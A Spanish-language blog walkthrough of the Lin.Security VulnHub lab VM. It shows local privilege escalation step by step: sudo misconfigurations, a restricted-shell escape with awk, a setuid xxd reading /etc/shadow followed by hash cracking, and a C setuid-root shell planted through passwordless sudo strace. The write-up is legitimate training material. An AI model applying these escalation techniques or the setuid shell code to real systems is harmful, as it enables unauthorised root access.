Seguridad informática

  • Blog
  • Noticias

Lin.Security: 1 – CTF Walkthrough

Descripción

Desde in.security queríamos desarrollar una máquina virtual basada en Linux, en este caso, una distribución actualizada de Ubuntu (18.04 LTS). Pero sufre una serie de vulnerabilidades que permiten a un usuario escalar privilegios para conseguir root.

Esto se ha diseñado para ayudar a comprender cómo un atacante puede abusar de ciertas aplicaciones y servicios incorporados si se configuran incorrectamente.

Hemos configurado la maquina para simular vulnerabilidades del mundo real (aunque en un solo host) que lo ayudará a perfeccionar sus habilidades, técnicas y conjuntos de herramientas para la escalada de privilegios local.

Hay una serie de desafíos que van desde el nivel bastante fácil hasta el nivel intermedio y nos entusiasma ver los métodos que utiliza para resolverlos.

La imagen tiene menos de 1,7 GB y se puede descargar utilizando el enlace de arriba. Al abrir el archivo OVA, una máquina virtual llamada lin.security se importará y configurará con un adaptador NAT, pero se puede cambiar a través de las preferencias de su plataforma de virtualización preferida.

Para comenzar, puede iniciar sesión en el host con las credenciales: bob / secret

Indice

  • Descripción
  • Descarga
  • Introducción
  • Walkthrough
    • Bob
    • Susan
    • Peter
  • Conclusiones

Descarga

[Vulnhub] https://www.vulnhub.com/entry/linsecurity-1,244/
[Mirror 1] https://in.security/downloads/lin.security_v1.0.ova
[Mirror 2] https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova
[Mirror 3] https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova.torrent

Introducción

Esta VM no es secuencial, no hay una prueba llevándote a otra y a la siguiente, por contra, tenemos muchas opciones para conseguir root, distintos usuarios y diferentes técnicas para explotar una escalada de privilegios. Voy a exponer las que me he ido encontrando y estoy seguro de que dejo alguna en el camino.

Walkthrough

Bob

Como bien dice la descripción de la maquina, lo primero que haremos será conectarnos a la maquina por ssh con las credenciales bob / secret

1
2
3
4
5
6
7
8
9
10
11
12
13
bob@192.168.1.138's password:
 
██╗     ██╗███╗   ██╗   ███████╗███████╗ ██████╗██╗   ██╗██████╗ ██╗████████╗██╗   ██╗
██║     ██║████╗  ██║   ██╔════╝██╔════╝██╔════╝██║   ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
██║     ██║██╔██╗ ██║   ███████╗█████╗  ██║     ██║   ██║██████╔╝██║   ██║    ╚████╔╝
██║     ██║██║╚██╗██║   ╚════██║██╔══╝  ██║     ██║   ██║██╔══██╗██║   ██║     ╚██╔╝
███████╗██║██║ ╚████║██╗███████║███████╗╚██████╗╚██████╔╝██║  ██║██║   ██║      ██║
╚══════╝╚═╝╚═╝  ╚═══╝╚═╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝   ╚═╝      ╚═╝
Welcome to lin.security | https://in.security | version 1.0
 
bob@linsecurity:~$ id;uname -a
uid=1000(bob) gid=1004(bob) groups=1004(bob)
Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

1
2
3
4
5
6
7
8
9
10
11
12
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find,
        /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh,
        /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
bob@linsecurity:~$ sudo -s
root@linsecurity:~# id
uid=0(root) gid=0(root) groups=0(root)

oh wait!! Estamos en el sudoers con todos los privilegios, demasiado fácil. Salgamos y sigamos buscando en la maquina otras formas de escalar privilegios..

buscamos en /home

1
2
3
4
5
6
7
bob@linsecurity:~$ ls -alt /home/
total 20
drwxr-xr-x  2 susan susan 4096 Jul 14 23:18 susan
drwxr-xr-x  4 bob   bob   4096 Jul 14 23:04 bob
drwxr-xr-x  5 peter peter 4096 Jul 10 19:49 peter
drwxr-xr-x 23 root  root  4096 Jul 10 08:04 ..
drwxr-xr-x  5 root  root  4096 Jul  9 19:58 .

hay tres usuarios, sigamos buscando mas a fondo. Usaremos ls para listar recursivamente en todos los directorios, con la opcion -a para mostrar archivos ocultos, no queremos perdernos nada..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
bob@linsecurity:~$ ls -alR /home
/home:
total 20
drwxr-xr-x  5 root  root  4096 Jul  9 19:58 .
drwxr-xr-x 23 root  root  4096 Jul 10 08:04 ..
drwxr-xr-x  4 bob   bob   4096 Jul 14 23:04 bob
drwxr-xr-x  5 peter peter 4096 Jul 10 19:49 peter
drwxr-xr-x  2 susan susan 4096 Jul 10 08:04 susan
 
/home/bob:
total 32
drwxr-xr-x 4 bob  bob  4096 Jul 14 23:04 .
drwxr-xr-x 5 root root 4096 Jul  9 19:58 ..
-rw------- 1 root root   14 Jul 14 23:04 .bash_history
-rw-r--r-- 1 bob  bob   220 Apr  4 18:30 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Apr  4 18:30 .bashrc
drwx------ 2 bob  bob  4096 Jul  9 19:48 .cache
-rw-rw-r-- 1 bob  bob     0 Jul  9 19:48 .cloud-locale-test.skip
drwx------ 3 bob  bob  4096 Jul  9 19:48 .gnupg
-rw-r--r-- 1 bob  bob   807 Apr  4 18:30 .profile
 
/home/bob/.cache:
total 8
drwx------ 2 bob bob 4096 Jul  9 19:48 .
drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 ..
-rw-r--r-- 1 bob bob    0 Jul  9 19:48 motd.legal-displayed
 
/home/bob/.gnupg:
total 12
drwx------ 3 bob bob 4096 Jul  9 19:48 .
drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 ..
drwx------ 2 bob bob 4096 Jul  9 19:48 private-keys-v1.d
 
/home/bob/.gnupg/private-keys-v1.d:
total 8
drwx------ 2 bob bob 4096 Jul  9 19:48 .
drwx------ 3 bob bob 4096 Jul  9 19:48 ..
 
/home/peter:
total 32
drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 .
drwxr-xr-x 5 root  root  4096 Jul  9 19:58 ..
-rw-r--r-- 1 peter peter  220 Jul  9 19:53 .bash_logout
-rw-r--r-- 1 peter peter 3771 Jul  9 19:53 .bashrc
drwx------ 2 peter peter 4096 Jul 10 10:04 .cache
-rw-rw-r-- 1 peter peter    0 Jul 10 10:04 .cloud-locale-test.skip
drwx------ 3 peter peter 4096 Jul 10 10:04 .gnupg
drwxrwxr-x 3 peter peter 4096 Jul 10 08:03 .local
-rw-r--r-- 1 peter peter  807 Jul  9 19:53 .profile
ls: cannot open directory '/home/peter/.cache': Permission denied
ls: cannot open directory '/home/peter/.gnupg': Permission denied
 
/home/peter/.local:
total 12
drwxrwxr-x 3 peter peter 4096 Jul 10 08:03 .
drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 ..
drwx------ 3 peter peter 4096 Jul 10 08:03 share
ls: cannot open directory '/home/peter/.local/share': Permission denied
 
/home/susan:
total 24
drwxr-xr-x 2 susan susan 4096 Jul 10 08:04 .
drwxr-xr-x 5 root  root  4096 Jul  9 19:58 ..
-rw-r--r-- 1 susan susan  220 Jul  9 19:58 .bash_logout
-rw-r--r-- 1 susan susan 3771 Jul  9 19:58 .bashrc
-rw-r--r-- 1 susan susan  807 Jul  9 19:58 .profile
-rw-r--r-- 1 susan susan   20 Jul  9 19:57 .secret

tenemos un archivo llamado «.secret» en la carpeta de susan.. veámoslo!

1
2
bob@linsecurity:~$ cat /home/susan/.secret
MySuperS3cretValue!

¡Es la pass del usuario susan! vamos a logearnos y seguimos buscando otros métodos de explotación.

Susan

1
2
3
4
5
6
bob@linsecurity:~$ su susan
Password:
susan@linsecurity:/home/bob$ id
uid=1002(susan) gid=1006(susan) groups=1006(susan),1007(itservices)
susan@linsecurity:/home/bob$ cd $HOME
rbash: cd: restricted

ouch! parece ser que estamos en una shell restringida y no tenemos disponibles todos los comandos del sistema, investiguemos un poco..

https://en.wikipedia.org/wiki/Restricted_shell
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
http://securebean.blogspot.com/2014/05/escaping-restricted-shell_3.html

Después de probar varios métodos, uso awk para invocar /bin/bash y obtengo una shell sin restricciones.

1
2
3
4
5
6
7
8
susan@linsecurity:/home/bob$ echo $BASH
/bin/rbash
susan@linsecurity:/home/bob$ awk 'BEGIN {system("/bin/bash")}'
susan@linsecurity:/home/bob$ echo $BASH
/bin/bash
susan@linsecurity:/home/bob$ cd $HOME
susan@linsecurity:~$ pwd
/home/susan

Ahora podemos buscar métodos para escalar privilegios con susan, buscamos archivos setuideados en el sistema y…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
susan@linsecurity:~$ ls -alt `find / -perm -4000 -type f 2>/dev/null` |grep -v snap
-rwsr-xr-x 1 root   root             80056 Jun  5 21:05 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root   root             43088 May 16 10:41 /bin/mount
-rwsr-xr-x 1 root   root             26696 May 16 10:41 /bin/umount
-rwsr-sr-x 1 root   root             30800 May 16 10:41 /usr/bin/taskset
-rwsr-x--- 1 root   itservices       18552 Apr 10 21:31 /usr/bin/xxd
-rwsr-xr-x 1 root   root             22520 Mar 27 12:50 /usr/bin/pkexec
-rwsr-xr-x 1 root   root             14328 Mar 27 12:50 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 daemon daemon           51464 Feb 20 06:59 /usr/bin/at
-rwsr-xr-x 1 root   root            436552 Feb 10 02:31 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             44664 Jan 25 15:09 /bin/su
-rwsr-xr-x 1 root   root             76496 Jan 25 15:09 /usr/bin/chfn
-rwsr-xr-x 1 root   root             44528 Jan 25 15:09 /usr/bin/chsh
-rwsr-xr-x 1 root   root             75824 Jan 25 15:09 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             37136 Jan 25 15:09 /usr/bin/newgidmap
-rwsr-xr-x 1 root   root             40344 Jan 25 15:09 /usr/bin/newgrp
-rwsr-xr-x 1 root   root             37136 Jan 25 15:09 /usr/bin/newuidmap
-rwsr-xr-x 1 root   root             59640 Jan 25 15:09 /usr/bin/passwd
-rwsr-xr-x 1 root   root            149080 Jan 18 00:08 /usr/bin/sudo
-rwsr-xr-x 1 root   root            113336 Jan 16 22:49 /sbin/mount.nfs
-rwsr-xr-x 1 root   root            146128 Nov 30  2017 /bin/ntfs-3g
-rwsr-xr-- 1 root   messagebus       42992 Nov 15  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root             64424 Mar  9  2017 /bin/ping
-rwsr-xr-x 1 root   root             18448 Mar  9  2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root   root             22728 Oct 27  2016 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root   root             18640 Oct 27  2016 /usr/bin/netkit-rlogin
-rwsr-xr-x 1 root   root             14504 Oct 27  2016 /usr/bin/netkit-rsh
-rwsr-xr-x 1 root   root             30800 Aug 11  2016 /bin/fusermount

Wow! tenemos el binario /usr/bin/xxd con permisos para nuestro grupo «itservices«. Repasemos el comando xxd

http://wiki.christophchamp.com/index.php?title=Xxd

Este comando escupirá un hexdump del archivo que le pasemos y también puede hacerlo al revés, convertir un dump en un archivo original. Sabiendo esto, podemos utilizar xxd para leer cualquier archivo, y como está «setuid» , podremos hacerlo con permisos de root. Probémoslo!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
susan@linsecurity:~$ xxd /etc/shadow | xxd -r
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
lxd:*:17647:0:99999:7:::
uuidd:*:17647:0:99999:7:::
dnsmasq:*:17647:0:99999:7:::
landscape:*:17647:0:99999:7:::
pollinate:*:17647:0:99999:7:::
sshd:*:17647:0:99999:7:::
bob:$6$Kk0DA.6Xha4nL2p5$jq7qoit2l4ckULg1ZxcbL5wUz2Ld2ZUa.RYaIMs.Lma0EFGheX9yCXfKy37K0GsHz50FYIqIESo4QXWL.DYTI0:17721:0:99999:7:::
statd:*:17721:0:99999:7:::
peter:$6$QpjS4vUG$Zi1KcJ7cRB8TJG9A/x7GhQQvJ0RoYwG4Jxj/6R58SJddU2X/QTQKNJWzwiByeTELKeyp0vS83kPsYITbTTmlb0:17721:0:99999:7:::
susan:$6$5oSmml7K$0joeavcuzw4qxDJ2LsD1ablUIrFhycVoIXL3rxN/3q2lVpQOKLufta5tqMRIh30Gb32IBp5yZ7XvBR6uX9/SR/:17721:0:99999:7:::

Perfecto! Voy a copiar el archivo /etc/passwd y el archivo /etc/shadow y voy a hacer bruteforce desde kali linux, usando como wordlist el archifamoso rockyou.txt

1
2
root@kali:~/writeups/linsecurity# unshadow passwd shadow > crackeame
root@kali:~/writeups/linsecurity# john --wordlist=rockyou.txt crackeame

Despues de un rato obtenemos..

1
2
3
4
5
6
# john --show crackeame
root:secret123:0:0:root:/root:/bin/bash
bob:secret:1000:1004:bob:/home/bob:/bin/bash
insecurity:P@ssw0rd:0:0::/:/bin/sh
 
3 password hashes cracked, 1 left

bien! tenemos la pass de root y tenemos la pass del usuario insecurity (que tambien tiene uid0)

1
2
3
4
5
6
7
8
9
10
11
susan@linsecurity:~$ su
Password: secret123
root@linsecurity:/home/susan# id
uid=0(root) gid=0(root) groups=0(root)
root@linsecurity:/home/susan# exit
exit
susan@linsecurity:~$ su insecurity
Password: P@ssw0rd
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

Peter

Nos logueamos como peter y buscamos permisos en sudo

1
2
3
4
5
6
peter@linsecurity:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User peter may run the following commands on linsecurity:
    (ALL) NOPASSWD: /usr/bin/strace

Bien! Estamos en el sudoers y podemos usar strace sin contraseña con permisos de root! repasemos un poco :

http://rm-rf.es/debug-de-procesos-en-gnulinux-con-strace/

Con strace podremos ejecutar cualquier binario y ver la salida a bajo nivel y lo podemos hacer con permisos de root a través de sudo, vamos a probarlo!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
peter@linsecurity:~$ sudo strace id
execve("/usr/bin/id", ["id"], 0x7ffde2b68ae0 /* 14 vars */) = 0
brk(NULL)                               = 0x5587bfb4c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
..
...
.....
munmap(0x7f1a714f6000, 802)             = 0
close(3)                                = 0
write(1, "uid=0(root) gid=0(root) groups=0"..., 39uid=0(root) gid=0(root) groups=0(root)
) = 39
close(1)                                = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++

funciona! it’s work! nos ha devuelto el usuario root al introducir «id». ¿Como podemos obtener una shell con permisos de root? si ejecutamos directamente sudo strace /bin/bash nos va a dar toda la salida debugeada y no nos sirve. Voy a tirar de mi vieja «sushi» , un pequeño .c para invocar una shell y al que le daremos setuid para que podamos llamarlo desde nuestro usuario peter con permisos de root.

sushi.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
#sushi
 
cat << EOF > sushi.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdlib.h>
#include <stdio.h>
 
  int main(void)
{
 
    uid_t uid, euid;
    uid = getuid();
    euid = geteuid();
    setreuid(euid, euid);
    system("/bin/bash");
 
    return 0;
 
}
EOF
 
gcc sushi.c -o sushi
chown root sushi
chmod a+rx sushi
chmod u+s sushi
rm -rf sushi.c

y lo llamamos con strace desde sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
peter@linsecurity:~$ sudo strace ./sushi.sh
execve("./sushi.sh", ["./sushi.sh"], 0x7ffc1fd60c60 /* 14 vars */) = 0
brk(NULL)                               = 0x55c552249000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
..
...
....
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
exit_group(0)                           = ?
+++ exited with 0 +++
peter@linsecurity:~$ ./sushi
root@linsecurity:~# id
uid=0(root) gid=1005(peter) groups=1005(peter),999(docker)
root@linsecurity:~#

Conclusiones

Estos han sido unos métodos sencillos para escalar privilegios, pero esta vm esconde muchos mas. Te animo a buscarlos y compartirlos.

Enjoy Hacking!

Archivado en: WriteUp

Ultimos Articulos

  • Bash del br0nx #1
  • Breaking bad [IoT]: Capítulo 4 Shell y extracción de firmware
  • Breaking bad [IoT]: Capítulo 3 conociendo UART
  • Breaking bad [IoT]: Capítulo 2 – Extracción de firmware
  • Breaking bad [IoT]: Capítulo 1 Revisión e identificación de hardware
  • Charlas Hack&Beers Almeria 2018
  • Hack&Beers Almería
  • Temple of Doom – Walktrough
  • Lin.Security: 1 – CTF Walkthrough
  • Yo solo navegaba por ahí: de la visita a la infección con Ransomware (u otro malware)

Since © 1998